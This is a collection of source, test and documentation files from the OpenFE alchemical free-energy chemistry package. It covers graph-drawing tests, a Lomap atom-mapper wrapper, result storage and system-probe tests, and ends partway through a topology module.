None graph.draw.assert_called_once() plt.close(event.canvas.figure) @pytest.mark.parametrize('has_selected', [True, False]) def test_on_mouseup_drag(self, has_selected): # start: mouse has moved, something is active graph = self.event_handler.graph edge = graph.edges[graph.nodes["B"], graph.nodes["C"]] if has_selected: old_selected = graph.edges[graph.nodes["A"], graph.nodes["B"]] self.event_handler.selected = old_selected event = mock_event('mouseup', 0.25, 0.25) self.event_handler.click_location = (0.5, 0.5) self.event_handler.active = edge self.event_handler.on_mouseup(event) if has_selected: assert not old_selected.unselect.called assert not edge.selected.called edge.on_mouseup.assert_called_once() assert self.event_handler.active is None assert self.event_handler.click_location is None graph.draw.assert_called_once() plt.close(event.canvas.figure) class TestGraphDrawing: def setup_method(self): self.nx_graph = nx.MultiDiGraph() self.nx_graph.add_edges_from([ ("A", "B", {'data': "AB"}), ("B", "C", {'data': "BC"}), ("B", "D", {'data': "BD"}), ]) self.positions = { "A": (0.0, 0.0), "B": (0.5, 0.0), "C": (0.5, 0.5), "D": (-0.1, 0.6) } self.graph = GraphDrawing(self.nx_graph, positions=self.positions) def test_init(self): # this also tests _register_node, _register_edge assert len(self.graph.nodes) == 4 assert len(self.graph.edges) == 3 assert len(self.graph.fig.axes) == 1 assert self.graph.fig.axes[0] is self.graph.ax assert len(self.graph.ax.patches) == 4 assert len(self.graph.ax.lines) == 3 def test_init_custom_ax(self): fig, ax = plt.subplots() graph = GraphDrawing(self.nx_graph, positions=self.positions, ax=ax) assert graph.fig is fig assert graph.ax is ax plt.close(fig) def test_register_node_error(self): with pytest.raises(RuntimeError, match="multiple times"): self.graph._register_node( node=list(self.nx_graph.nodes)[0], position=(0, 0) ) @pytest.mark.parametrize('node,edges', [ ("A", [("A", "B")]), ("B", [("A", "B"), ("B", "C"), ("B", "D")]), ("C", [("B", "C")]), ]) def test_edges_for_node(self, node, edges): expected_edges = {self.graph.edges[n1, n2] for n1, n2 in edges} assert set(self.graph.edges_for_node(node)) == expected_edges def test_get_nodes_extent(self): assert self.graph._get_nodes_extent() == (-0.1, 0.6, 0.0, 0.7) def test_reset_bounds(self): old_xlim = self.graph.ax.get_xlim() old_ylim = self.graph.ax.get_ylim() self.graph.ax.set_xlim(old_xlim[0] * 2, old_xlim[1] * 2) self.graph.ax.set_ylim(old_ylim[0] * 2, old_ylim[1] * 2) self.graph.reset_bounds() assert self.graph.ax.get_xlim() == old_xlim assert self.graph.ax.get_ylim() == old_ylim def test_draw(self): # just a smoke test; there's really nothing that we can test here # other that integration self.graph.draw() <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe from plugcli.params import NOT_PARSED from openfecli.utils import import_thing def import_parameter(import_str: str): """Return object from a qualname, or NOT_PARSED if not valid. This is used specifically for parameter instantiation strategies based on importing an object given by the user on the command line. If the user input cannot interpreted as a qualname, then NOT_PARSED is returned. Parameters ---------- import_str : str the qualname Returns ------- Any : the desired object or NOT_PARSED if an error was encountered. """ try: result = import_thing(import_str) except (ImportError, AttributeError): result = NOT_PARSED return result <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe import abc from enum import Enum from typing import Iterable from gufe import ChemicalSystem # Todo: connect to protocols - use this for labels? class RFEComponentLabels(str, Enum): PROTEIN = "protein" LIGAND = "ligand" SOLVENT = "solvent" COFACTOR = "cofactor" class AbstractChemicalSystemGenerator(abc.ABC): """ this abstract class defines the interface for the chemical system generators. """ @abc.abstractmethod def __call__(self, *args, **kwargs) -> Iterable[ChemicalSystem]: raise NotImplementedError() <file_sep>import os import pytest from unittest.mock import patch import logging import contextlib from openfecli.utils import ( import_thing, _should_configure_logger, configure_logger ) # looks like this can't be done as a fixture; related to # https://github.com/pytest-dev/pytest/issues/2974 @contextlib.contextmanager def patch_root_logger(): # use this to hide away some handlers that pytest attaches old_manager = logging.Logger.manager old_root = logging.root new_root = logging.RootLogger(logging.WARNING) manager = logging.Manager(new_root) logging.Logger.manager = manager logging.root = new_root yield new_root logging.Logger.manager = old_manager logging.root = old_root @pytest.mark.parametrize('import_string,expected', [ ('os.path.exists', os.path.exists), ('os.getcwd', os.getcwd), ('os', os), ]) def test_import_thing(import_string, expected): assert import_thing(import_string) is expected def test_import_thing_import_error(): with pytest.raises(ImportError): import_thing('foo.bar') def test_import_thing_attribute_error(): with pytest.raises(AttributeError): import_thing('os.foo') @pytest.mark.parametrize("logger_name, expected", [ ("default", True), ("default.default", True), ("level", False), ("level.default", False), ("handler", False), ("handler.default", False), ("default.noprop", False) ]) @pytest.mark.parametrize('with_adapter', [True, False]) def test_should_configure_logger(logger_name, expected, with_adapter): with patch_root_logger(): logging.getLogger("level").setLevel(logging.INFO) logging.getLogger("handler").addHandler(logging.NullHandler()) logging.getLogger("default.noprop").propagate = False logger = logging.getLogger(logger_name) if with_adapter: logger = logging.LoggerAdapter(logger, extra={"foo": "bar"}) assert _should_configure_logger(logger) == expected def test_root_logger_level_configured(): with patch_root_logger(): root = logging.getLogger() root.setLevel(logging.INFO) logger = logging.getLogger("default.default") assert not _should_configure_logger(logger) @pytest.mark.parametrize('with_handler', [True, False]) def test_configure_logger(with_handler): handler = logging.NullHandler() if with_handler else None expected_handlers = [handler] if handler else [] with patch_root_logger(): configure_logger('default.default', handler=handler) logger = logging.getLogger('default.default') parent = logging.getLogger('default') assert logger.isEnabledFor(logging.INFO) assert not parent.isEnabledFor(logging.INFO) assert logger.handlers == expected_handlers assert parent.handlers == [] <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe """ The MCS class from Lomap shamelessly wrapped and used here to match our API. """ from lomap import mcs as lomap_mcs from .ligandatommapper import LigandAtomMapper class LomapAtomMapper(LigandAtomMapper): time: int threed: bool max3d: float element_change: bool seed: str shift: bool def __init__(self, *, time: int = 20, threed: bool = True, max3d: float = 1000.0, element_change: bool = True, seed: str = '', shift: bool = True): """Wraps the MCS atom mapper from Lomap. Kwargs are passed directly to the MCS class from Lomap for each mapping created Parameters ---------- time : int, optional timeout of MCS algorithm, passed to RDKit default 20 threed : bool, optional if true, positional info is used to choose between symmetrically equivalent mappings and prune the mapping, default True max3d : float, optional maximum discrepancy in Angstroms between atoms before mapping is not allowed, default 1000.0, which effectively trims no atoms element_change: bool, optional whether to allow element changes in the mappings, default True seed: str, optional SMARTS string to use as seed for MCS searches. When used across an entire set of ligands, this can create shift: bool, optional when determining 3D overlap, if to translate the two molecules MCS to minimise RMSD to boost potential alignment. """ self.time = time self.threed = threed self.max3d = max3d self.element_change = element_change self.seed = seed self.shift = shift def _mappings_generator(self, componentA, componentB): try: mcs = lomap_mcs.MCS(componentA.to_rdkit(), componentB.to_rdkit(), time=self.time, threed=self.threed, max3d=self.max3d, element_change=self.element_change, seed=self.seed, shift=self.shift) except ValueError: # if no match found, Lomap throws ValueError, so we just yield # generator with no contents return mapping_string = mcs.all_atom_match_list() # lomap spits out "1:1,2:2,...,x:y", so split around commas, # then colons and coerce to ints mapping_dict = dict((map(int, v.split(':')) for v in mapping_string.split(','))) yield mapping_dict return <file_sep>from gufe import Transformation from ..chemicalsystem_generator.component_checks import proteinC_in_chem_sys, solventC_in_chem_sys, ligandC_in_chem_sys def both_states_proteinC_edge(edge: Transformation) -> bool: return proteinC_in_chem_sys(edge.stateA) and proteinC_in_chem_sys(edge.stateB) def both_states_solventC_edge(edge: Transformation) -> bool: return solventC_in_chem_sys(edge.stateA) and solventC_in_chem_sys(edge.stateB) def both_states_ligandC_edge(edge: Transformation) -> bool: return ligandC_in_chem_sys(edge.stateA) and ligandC_in_chem_sys(edge.stateB) def r_vacuum_edge(edge: Transformation) -> bool: return both_states_ligandC_edge(edge) and not both_states_solventC_edge(edge) and not both_states_proteinC_edge(edge) def r_solvent_edge(edge: Transformation) -> bool: return both_states_ligandC_edge(edge) and both_states_solventC_edge(edge) and not both_states_proteinC_edge(edge) def r_complex_edge(edge: Transformation) -> bool: return both_states_ligandC_edge(edge) and both_states_solventC_edge(edge) and both_states_proteinC_edge(edge) <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe from .relative_alchemical_network_planner import ( RHFEAlchemicalNetworkPlanner, RBFEAlchemicalNetworkPlanner, ) <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe import pytest from openfe.setup.atom_mapping import PersesAtomMapper, LigandAtomMapping pytest.importorskip('perses') pytest.importorskip('openeye') USING_NEW_OFF = True # by default we are now @pytest.mark.xfail(USING_NEW_OFF, reason="Perses #1108") def test_simple(atom_mapping_basic_test_files): # basic sanity check on the LigandAtomMapper mol1 = atom_mapping_basic_test_files['methylcyclohexane'] mol2 = atom_mapping_basic_test_files['toluene'] mapper = PersesAtomMapper() mapping_gen = mapper.suggest_mappings(mol1, mol2) mapping = next(mapping_gen) assert isinstance(mapping, LigandAtomMapping) # maps (CH3) off methyl and (6C + 5H) on ring assert len(mapping.componentA_to_componentB) == 4 @pytest.mark.xfail(USING_NEW_OFF, reason="Perses #1108") def test_generator_length(atom_mapping_basic_test_files): # check that we get one mapping back from Lomap LigandAtomMapper then the # generator stops correctly mol1 = atom_mapping_basic_test_files['methylcyclohexane'] mol2 = atom_mapping_basic_test_files['toluene'] mapper = PersesAtomMapper() mapping_gen = mapper.suggest_mappings(mol1, mol2) _ = next(mapping_gen) with pytest.raises(StopIteration): next(mapping_gen) @pytest.mark.xfail(USING_NEW_OFF, reason="Perses #1108") def test_empty_atommappings(mol_pair_to_shock_perses_mapper): mol1, mol2 = mol_pair_to_shock_perses_mapper mapper = PersesAtomMapper() mapping_gen = mapper.suggest_mappings(mol1, mol2) # The expected return is an empty mapping assert len(list(mapping_gen)) == 0 with pytest.raises(StopIteration): next(mapping_gen) <file_sep>Testfiles from Lomap's basic tests <file_sep>Alchemical Network Planning =========================== Alchemical network planners are objects that pull all the ideas in OpenFE into a quick setup for simulation. The goal is to create the :class:`.AlchemicalNetwork` that represents an entire simulation campaign, starting from a bare amount of user input. This also requries several helper classes along the way. Alchemical Network Planners --------------------------- .. module:: openfe.setup :noindex: .. autosummary:: :nosignatures: :toctree: generated/ RBFEAlchemicalNetworkPlanner RHFEAlchemicalNetworkPlanner Chemical System Generators -------------------------- .. module:: openfe.setup.chemicalsystem_generator .. autosummary:: :nosignatures: :toctree: generated/ EasyChemicalSystemGenerator <file_sep>import pytest from openff.units import unit import gufe from gufe import SolventComponent, ChemicalSystem from gufe.tests.test_protocol import DummyProtocol @pytest.fixture def solv_comp(): yield SolventComponent(positive_ion="K", negative_ion="Cl", ion_concentration=0.0 * unit.molar) @pytest.fixture def solvated_complex(T4_protein_component, benzene_transforms, solv_comp): return ChemicalSystem( {"ligand": benzene_transforms['toluene'], "protein": T4_protein_component, "solvent": solv_comp,} ) @pytest.fixture def solvated_ligand(benzene_transforms, solv_comp): return ChemicalSystem( {"ligand": benzene_transforms['toluene'], "solvent": solv_comp,} ) @pytest.fixture def absolute_transformation(solvated_ligand, solvated_complex): return gufe.Transformation( solvated_ligand, solvated_complex, protocol=DummyProtocol(settings=None), mapping=None, ) @pytest.fixture def complex_equilibrium(solvated_complex): return gufe.NonTransformation( solvated_complex, protocol=DummyProtocol(settings=None), ) @pytest.fixture def benzene_variants_star_map(benzene_transforms, solv_comp, T4_protein_component): variants = ['toluene', 'phenol', 'benzonitrile', 'anisole', 'benzaldehyde', 'styrene'] # define the solvent chemical systems and transformations between # benzene and the others solvated_ligands = {} solvated_ligand_transformations = {} solvated_ligands['benzene'] = ChemicalSystem( {"solvent": solv_comp, "ligand": benzene_transforms['benzene'],}, name="benzene-solvent", ) for ligand in variants: solvated_ligands[ligand] = ChemicalSystem( {"solvent": solv_comp, "ligand": benzene_transforms[ligand],}, name=f"{ligand}-solvent" ) solvated_ligand_transformations[("benzene", ligand)] = gufe.Transformation( solvated_ligands['benzene'], solvated_ligands[ligand], protocol=DummyProtocol(settings=None), mapping=None, ) # define the complex chemical systems and transformations between # benzene and the others solvated_complexes = {} solvated_complex_transformations = {} solvated_complexes["benzene"] = gufe.ChemicalSystem( {"protein": T4_protein_component, "solvent": solv_comp, "ligand": benzene_transforms['benzene']}, name="benzene-complex", ) for ligand in variants: solvated_complexes[ligand] = gufe.ChemicalSystem( {"protein": T4_protein_component, "solvent": solv_comp, "ligand": benzene_transforms[ligand]}, name=f"{ligand}-complex", ) solvated_complex_transformations[("benzene", ligand)] = gufe.Transformation( solvated_complexes["benzene"], solvated_complexes[ligand], protocol=DummyProtocol(settings=None), mapping=None, ) return gufe.AlchemicalNetwork( list(solvated_ligand_transformations.values()) + list(solvated_complex_transformations.values()) ) <file_sep>import importlib from importlib import resources import pytest import click import openfe from openfecli.parameters.mol import get_molecule from openfe import SmallMoleculeComponent def test_get_molecule_smiles(): mol = get_molecule("CC") assert isinstance(mol, SmallMoleculeComponent) assert mol.name == "" assert mol.smiles == "CC" def test_get_molecule_sdf(): with importlib.resources.path("openfe.tests.data.serialization", "ethane_template.sdf") as filename: # Note: the template doesn't include a valid version, but it loads # anyway. In the future, we may need to create a temporary file with # template substitutions done, but that seemed like overkill now. mol = get_molecule(filename) assert mol.smiles == "CC" assert mol.name == "ethane" def test_get_molecule_mol2(): with importlib.resources.path("openfe.tests.data.lomap_basic", "toluene.mol2") as f: mol = get_molecule(str(f)) assert mol.smiles == 'Cc1ccccc1' def test_get_molecule_error(): with pytest.raises(click.BadParameter): get_molecule("foobar") <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/gufe import abc import json import re from typing import Any from .resultserver import ResultServer from .metadatastore import JSONMetadataStore from gufe.tokenization import ( get_all_gufe_objs, key_decode_dependencies, from_dict, JSON_HANDLER, ) GUFEKEY_JSON_REGEX = re.compile( '":gufe-key:": "(?P<token>[A-Za-z0-9_]+-[0-9a-f]+)"' ) class _ResultContainer(abc.ABC): """ Abstract class, represents all data under some level of the heirarchy. """ def __init__(self, parent, path_component): self.parent = parent self._path_component = self._to_path_component(path_component) self._cache = {} def __eq__(self, other): return ( isinstance(other, self.__class__) and self.path == other.path ) @staticmethod def _to_path_component(item: Any) -> str: """Convert input (object or string) to path string""" if isinstance(item, str): return item # TODO: instead of str(hash(...)), this should return the digest # that is being introduced in another PR; Python hash is not stable # across sessions return str(hash(item)) def __getitem__(self, item): # code for the case this is a file if item in self.result_server: return self.result_server.load_stream(item) # code for the case this is a "directory" hash_item = self._to_path_component(item) if hash_item not in self._cache: self._cache[hash_item] = self._load_next_level(item) return self._cache[hash_item] def __truediv__(self, item): return self[item] @abc.abstractmethod def _load_next_level(self, item): raise NotImplementedError() def __iter__(self): for loc in self.result_server: if loc.startswith(self.path): yield loc def load_stream(self, location, *, allow_changed=False): return self.result_server.load_stream(location, allow_changed) def load_bytes(self, location, *, allow_changed=False): with self.load_stream(location, allow_changed=allow_changed) as f: byte_data = f.read() return byte_data @property def path(self): return self.parent.path + "/" + self._path_component @property def result_server(self): return self.parent.result_server def __repr__(self): # probably should include repr of external store, too return f"{self.__class__.__name__}({self.path})" class ResultClient(_ResultContainer): def __init__(self, external_store): # default client is using JSONMetadataStore with the given external # result store; users could easily write a subblass that behaves # differently metadata_store = JSONMetadataStore(external_store) self._result_server = ResultServer(external_store, metadata_store) super().__init__(parent=self, path_component=None) def delete(self, location): self._result_server.delete(location) @staticmethod def _gufe_key_to_storage_key(prefix: str, key: str): """Create the storage key from the gufe key. Parameters ---------- prefix : str the prefix defining which section of storage should be used for this (e.g., ``setup``, ...) key : str the GufeKey for a GufeTokenizable (technically, is likely to be passed as a :class:`.GufeKey`, which is a subclass of ``str``) Returns ------- str : storage key (string identifier used by storage to locate this object) """ pref = prefix.split('/') # remove this if we switch to tuples cls, token = key.split('-') tup = tuple(list(pref) + [cls, f"{token}.json"]) # right now we're using strings, but we've talked about switching # that to tuples return "/".join(tup) def _store_gufe_tokenizable(self, prefix, obj): """generic function for deduplicating/storing a GufeTokenizable""" for o in get_all_gufe_objs(obj): key = self._gufe_key_to_storage_key(prefix, o.key) # we trust that if we get the same key, it's the same object, so # we only store on keys that we don't already know if key not in self.result_server: data = json.dumps(o.to_keyed_dict(), cls=JSON_HANDLER.encoder, sort_keys=True).encode('utf-8') self.result_server.store_bytes(key, data) def store_transformation(self, transformation): """Store a :class:`.Transformation`. Parmeters --------- transformation: :class:`.Transformation` the transformation to store """ self._store_gufe_tokenizable("setup", transformation) def store_network(self, network): """Store a :class:`.AlchemicalNetwork`. Parmeters --------- network: :class:`.AlchemicalNetwork` the network to store """ self._store_gufe_tokenizable("setup", network) def _load_gufe_tokenizable(self, prefix, gufe_key): """generic function to load deduplicated object from a key""" registry = {} def recursive_build_object_cache(gufe_key): """DFS to rebuild object heirarchy""" # This implementation is a bit fragile, because ensuring that we # don't duplicate objects in memory depends on the fact that # `key_decode_dependencies` gets keyencoded objects from a cache # (they are cached on creation). storage_key = self._gufe_key_to_storage_key(prefix, gufe_key) with self.load_stream(storage_key) as f: keyencoded_json = f.read().decode('utf-8') dct = json.loads(keyencoded_json, cls=JSON_HANDLER.decoder) # this implementation may seem strange, but it will be a # faster than traversing the dict key_encoded = set(GUFEKEY_JSON_REGEX.findall(keyencoded_json)) # this approach takes the dct instead of the json str # found = [] # modify_dependencies(dct, found.append, is_gufe_key_dict) # key_encoded = {d[":gufe-key:"] for d in found} for key in key_encoded: # we're actually only doing this for the side effect of # generating the objects and adding them to the registry recursive_build_object_cache(key) if len(key_encoded) == 0: # fast path for objects that don't contain other gufe # objects (these tend to be larger dicts; avoid walking # them) obj = from_dict(dct) else: # objects that contain other gufe objects need be walked to # replace everything obj = key_decode_dependencies(dct, registry) registry[obj.key] = obj return obj return recursive_build_object_cache(gufe_key) def load_transformation(self, key: str): """Load a :class:`.Transformation` from its GufeKey Parameters ---------- key: str the gufe key for this object Returns ------- :class:`.Transformation` the desired transformation """ return self._load_gufe_tokenizable("setup", key) def load_network(self, key: str): """Load a :class:`.AlchemicalNetwork` from its GufeKey Parameters ---------- key: str the gufe key for this object Returns ------- :class:`.AlchemicalNetwork` the desired network """ return self._load_gufe_tokenizable("setup", key) def _load_next_level(self, transformation): return TransformationResult(self, transformation) # override these two inherited properies since this is always the end of # the recursive chain @property def path(self): return 'transformations' @property def result_server(self): return self._result_server class TransformationResult(_ResultContainer): def __init__(self, parent, transformation): super().__init__(parent, transformation) self.transformation = transformation def _load_next_level(self, clone): return CloneResult(self, clone) class CloneResult(_ResultContainer): def __init__(self, parent, clone): super().__init__(parent, clone) self.clone = clone @staticmethod def _to_path_component(item): return str(item) def _load_next_level(self, extension): return ExtensionResult(self, extension) class ExtensionResult(_ResultContainer): def __init__(self, parent, extension): super().__init__(parent, str(extension)) self.extension = extension @staticmethod def _to_path_component(item): return str(item) def __getitem__(self, filename): # different here -- we don't cache the actual file objects return self._load_next_level(filename) def _load_next_level(self, filename): return self.result_server.load_stream(self.path + "/" + filename) <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe # Adapted Perses' perses.app.setup_relative_calculation.get_openmm_platform import warnings import logging logger = logging.getLogger(__name__) def get_openmm_platform(platform_name=None): """ Return OpenMM's platform object based on given name. Setting to mixed precision if using CUDA or OpenCL. Parameters ---------- platform_name : str, optional, default=None String with the platform name. If None, it will use the fastest platform supporting mixed precision. Returns ------- platform : openmm.Platform OpenMM platform object. """ if platform_name is None: # No platform is specified, so retrieve fastest platform that supports # 'mixed' precision from openmmtools.utils import get_fastest_platform platform = get_fastest_platform(minimum_precision='mixed') else: from openmm import Platform platform = Platform.getPlatformByName(platform_name) # Set precision and properties name = platform.getName() if name in ['CUDA', 'OpenCL']: platform.setPropertyDefaultValue( 'Precision', 'mixed') if name == 'CUDA': platform.setPropertyDefaultValue( 'DeterministicForces', 'true') if name != 'CUDA': wmsg = (f"Non-GPU platform selected: {name}, this may significantly " "impact simulation performance") warnings.warn(wmsg) logging.warning(wmsg) return platform <file_sep>User Guide ========== .. toctree:: introduction models/index setup/index execution/index results/index cli hpc <file_sep>import contextlib from collections import namedtuple import sys from unittest.mock import Mock, patch import psutil import pytest from openfe.utils.system_probe import ( _get_disk_usage, _get_gpu_info, _get_hostname, _get_psutil_info, _probe_system, ) # Named tuples from https://github.com/giampaolo/psutil/blob/master/psutil/_pslinux.py svmem = namedtuple( "svmem", [ "total", "available", "percent", "used", "free", "active", "inactive", "buffers", "cached", "shared", "slab", ], ) pfullmem = namedtuple( "pfullmem", ["rss", "vms", "shared", "text", "lib", "data", "dirty", "uss", "pss", "swap"], ) @contextlib.contextmanager def patch_system(): # single patch to fully patch the system patch_hostname = patch("socket.gethostname", Mock(return_value="mock-hostname")) patch_psutil_Process_as_dict = patch( "psutil.Process.as_dict", Mock( return_value={ "pid": 1590579, "status": "running", "exe": "/home/winry/micromamba/envs/openfe/bin/python3.10", "cpu_percent": 0.0, "num_fds": 4, "create_time": 1690999298.62, "memory_percent": 0.02006491389254216, "memory_full_info": pfullmem( rss=13500416, vms=31858688, shared=6946816, text=2121728, lib=0, data=7852032, dirty=0, uss=10764288, pss=10777600, swap=0, ), } ), ) # Since this attribute doesn't exist on OSX, we have to create it patch_psutil_Process_rlimit = patch( "psutil.Process.rlimit", Mock(return_value=(-1, -1)) ) patch_psutil_virtual_memory = patch( "psutil.virtual_memory", Mock( return_value=svmem( total=67283697664, available=31731806208, percent=52.8, used=29899350016, free=3136847872, active=25971789824, inactive=34514595840, buffers=136404992, cached=34111094784, shared=1021571072, slab=1518297088, ) ), ) # assumes that each shell command is called in only one way cmd_to_output = { "nvidia-smi": ( b"uuid, name, compute_mode, pstate, temperature.gpu, utilization.memory [%], memory.total [MiB], driver_version\n" b"GPU-UUID-1, NVIDIA GeForce RTX 2060, Default, P8, 47, 6 %, 6144 MiB, 525.116.04\n" b"GPU-UUID-2, NVIDIA GeForce RTX 2060, Default, P8, 47, 6 %, 6144 MiB, 525.116.04\n" ), "df": ( b"Filesystem Size Used Avail Use% Mounted on\n" b"/dev/mapper/data-root 1.8T 626G 1.1T 37% /\n" b"/dev/dm-3 3.7T 1.6T 2.2T 42% /mnt/data\n" ), } patch_check_output = patch( "subprocess.check_output", Mock(side_effect=lambda args, **kwargs: cmd_to_output[args[0]]), ) with contextlib.ExitStack() as stack: for ctx in [ patch_hostname, patch_psutil_Process_as_dict, patch_check_output, patch_psutil_Process_rlimit, patch_psutil_virtual_memory, ]: stack.enter_context(ctx) yield stack @pytest.mark.skipif( sys.platform == "darwin", reason="test requires psutil.Process.rlimit" ) def test_get_hostname(): with patch_system(): hostname = _get_hostname() assert hostname == "mock-hostname" @pytest.mark.skipif( sys.platform == "darwin", reason="test requires psutil.Process.rlimit" ) def test_get_gpu_info(): with patch_system(): gpu_info = _get_gpu_info() expected_gpu_info = { "GPU-UUID-1": { "name": "NVIDIA GeForce RTX 2060", "compute_mode": "Default", "pstate": "P8", "temperature.gpu": "47", "utilization.memory [%]": "6 %", "memory.total [MiB]": "6144 MiB", "driver_version": "525.116.04", }, "GPU-UUID-2": { "name": "NVIDIA GeForce RTX 2060", "compute_mode": "Default", "pstate": "P8", "temperature.gpu": "47", "utilization.memory [%]": "6 %", "memory.total [MiB]": "6144 MiB", "driver_version": "525.116.04", }, } assert gpu_info == expected_gpu_info @pytest.mark.skipif( sys.platform == "darwin", reason="test requires psutil.Process.rlimit" ) def test_get_psutil_info(): with patch_system(): psutil_info = _get_psutil_info() expected_psutil_info = { "pid": 1590579, "status": "running", "exe": "/home/winry/micromamba/envs/openfe/bin/python3.10", "cpu_percent": 0.0, "num_fds": 4, "create_time": 1690999298.62, "memory_percent": 0.02006491389254216, "memory_full_info": { "rss": 13500416, "vms": 31858688, "shared": 6946816, "text": 2121728, "lib": 0, "data": 7852032, "dirty": 0, "uss": 10764288, "pss": 10777600, "swap": 0, }, "RLIMIT_AS": (-1, -1), "virtual_memory": { "total": 67283697664, "available": 31731806208, "percent": 52.8, "used": 29899350016, "free": 3136847872, "active": 25971789824, "inactive": 34514595840, "buffers": 136404992, "cached": 34111094784, "shared": 1021571072, "slab": 1518297088, }, } assert psutil_info == expected_psutil_info @pytest.mark.skipif( sys.platform == "darwin", reason="test requires psutil.Process.rlimit" ) def test_get_disk_usage(): with patch_system(): disk_info = _get_disk_usage() expected_disk_info = { "/dev/mapper/data-root": { "size": "1.8T", "used": "626G", "available": "1.1T", "percent_used": "37%", "mount_point": "/", }, "/dev/dm-3": { "size": "3.7T", "used": "1.6T", "available": "2.2T", "percent_used": "42%", "mount_point": "/mnt/data", }, } assert disk_info == expected_disk_info @pytest.mark.skipif( sys.platform == "darwin", reason="test requires psutil.Process.rlimit" ) def test_probe_system(): with patch_system(): system_info = _probe_system() expected_system_info = { "system information": { "hostname": "mock-hostname", "gpu information": { "GPU-UUID-1": { "name": "NVIDIA GeForce RTX 2060", "compute_mode": "Default", "pstate": "P8", "temperature.gpu": "47", "utilization.memory [%]": "6 %", "memory.total [MiB]": "6144 MiB", "driver_version": "525.116.04", }, "GPU-UUID-2": { "name": "NVIDIA GeForce RTX 2060", "compute_mode": "Default", "pstate": "P8", "temperature.gpu": "47", "utilization.memory [%]": "6 %", "memory.total [MiB]": "6144 MiB", "driver_version": "525.116.04", }, }, "psutil information": { "pid": 1590579, "status": "running", "exe": "/home/winry/micromamba/envs/openfe/bin/python3.10", "cpu_percent": 0.0, "num_fds": 4, "create_time": 1690999298.62, "memory_percent": 0.02006491389254216, "memory_full_info": { "rss": 13500416, "vms": 31858688, "shared": 6946816, "text": 2121728, "lib": 0, "data": 7852032, "dirty": 0, "uss": 10764288, "pss": 10777600, "swap": 0, }, "RLIMIT_AS": (-1, -1), "virtual_memory": { "total": 67283697664, "available": 31731806208, "percent": 52.8, "used": 29899350016, "free": 3136847872, "active": 25971789824, "inactive": 34514595840, "buffers": 136404992, "cached": 34111094784, "shared": 1021571072, "slab": 1518297088, }, }, "disk usage information": { "/dev/mapper/data-root": { "size": "1.8T", "used": "626G", "available": "1.1T", "percent_used": "37%", "mount_point": "/", }, "/dev/dm-3": { "size": "3.7T", "used": "1.6T", "available": "2.2T", "percent_used": "42%", "mount_point": "/mnt/data", }, }, } } assert system_info == expected_system_info def test_probe_system_smoke_test(): _probe_system() <file_sep>import click import pathlib from plugcli.params import MultiStrategyGetter, Option, NOT_PARSED def get_file_and_extension(user_input, context): file = user_input ext = file.name.split('.')[-1] if file else None return file, ext def ensure_file_does_not_exist(ctx, param, value): if value and value.exists(): raise click.BadParameter(f"File '{value}' already exists.") return value OUTPUT_FILE_AND_EXT = Option( "-o", "--output", help="output file", getter=get_file_and_extension, type=click.File(mode='wb'), ) <file_sep>import urllib.request try: urllib.request.urlopen('https://www.google.com') except: # -no-cov- HAS_INTERNET = False else: HAS_INTERNET = True <file_sep>FROM mambaorg/micromamba:1.4.1 LABEL org.opencontainers.image.source=https://github.com/OpenFreeEnergy/openfe LABEL org.opencontainers.image.description="A Python package for executing alchemical free energy calculations." LABEL org.opencontainers.image.licenses=MIT # OpenFE Version we want to build ARG VERSION # install ps USER root RUN apt-get update && apt-get install -y --no-install-recommends \ procps \ && rm -rf /var/lib/apt/lists/* USER $MAMBA_USER # Don't buffer stdout & stderr streams, so if there is a crash no partial buffer output is lost # https://docs.python.org/3/using/cmdline.html#cmdoption-u ENV PYTHONUNBUFFERED=1 COPY --chown=$MAMBA_USER:$MAMBA_USER production/environment.yml /tmp/env.yaml RUN micromamba install -y -n base git "openfe==$VERSION" -f /tmp/env.yaml && \ micromamba clean --all --yes # Ensure that conda environment is automatically activated # https://github.com/mamba-org/micromamba-docker#running-commands-in-dockerfile-within-the-conda-environment ARG MAMBA_DOCKERFILE_ACTIVATE=1 <file_sep>import os import importlib from importlib import resources import pytest import click import openfe from openfecli.parameters.molecules import load_molecules from openfe import SmallMoleculeComponent def test_get_dir_molecules_sdf(): with importlib.resources.path( "openfe.tests.data.serialization", "__init__.py" ) as file_path: # Note: the template doesn't include a valid version, but it loads # anyway. In the future, we may need to create a temporary file with # template substitutions done, but that seemed like overkill now. dir_path = os.path.dirname(file_path) mols = load_molecules(dir_path) assert len(mols) == 1 assert mols[0].smiles == "CC" assert mols[0].name == "ethane" def test_load_molecules_sdf_file(): files = importlib.resources.files('openfe.tests.data') ref = files / "benzene_modifications.sdf" with importlib.resources.as_file(ref) as path: mols = load_molecules(path) assert len(mols) == 7 def test_get_dir_molecules_mol2(): with importlib.resources.path( "openfe.tests.data.lomap_basic", "__init__.py" ) as file_path: # Note: the template doesn't include a valid version, but it loads # anyway. In the future, we may need to create a temporary file with # template substitutions done, but that seemed like overkill now. dir_path = os.path.dirname(file_path) mols = load_molecules(dir_path) assert len(mols) == 8 all_smiles = {mol.smiles for mol in mols} all_names = {mol.name for mol in mols} assert "Cc1cc(C)c2cc(C)ccc2c1" in all_smiles assert "*****" in all_names def test_get_molecule_error(): with pytest.raises(ValueError, match="Unable to find"): load_molecules("foobar") <file_sep>.. _cli_quickrun: ``quickrun`` command ==================== .. click:: openfecli.commands.quickrun:quickrun :prog: openfe quickrun <file_sep># This code is in parts based on TopologyProposal in perses # (https://github.com/choderalab/perses) # The eventual goal is to move this to the OpenFE alchemical topology # building toolsets. # LICENSE: MIT import warnings import itertools from copy import deepcopy import numpy as np from openmm import app, unit import logging logger = logging.getLogger(__name__) def combined_topology(topology1, topology2, exclude_resids=None): """ Create a new topology combining these two topologies. The box information from the *first* topology will be copied over Parameters ---------- topology1 : openmm.app.Topology topology2 : openmm.app.Topology exclude_resids : npt.NDArray Residue indices in topology 1 to exclude from the combined topology. Returns ------- new : openmm.app.Topology appended_resids : npt.NDArray Residue indices of the residues appended from 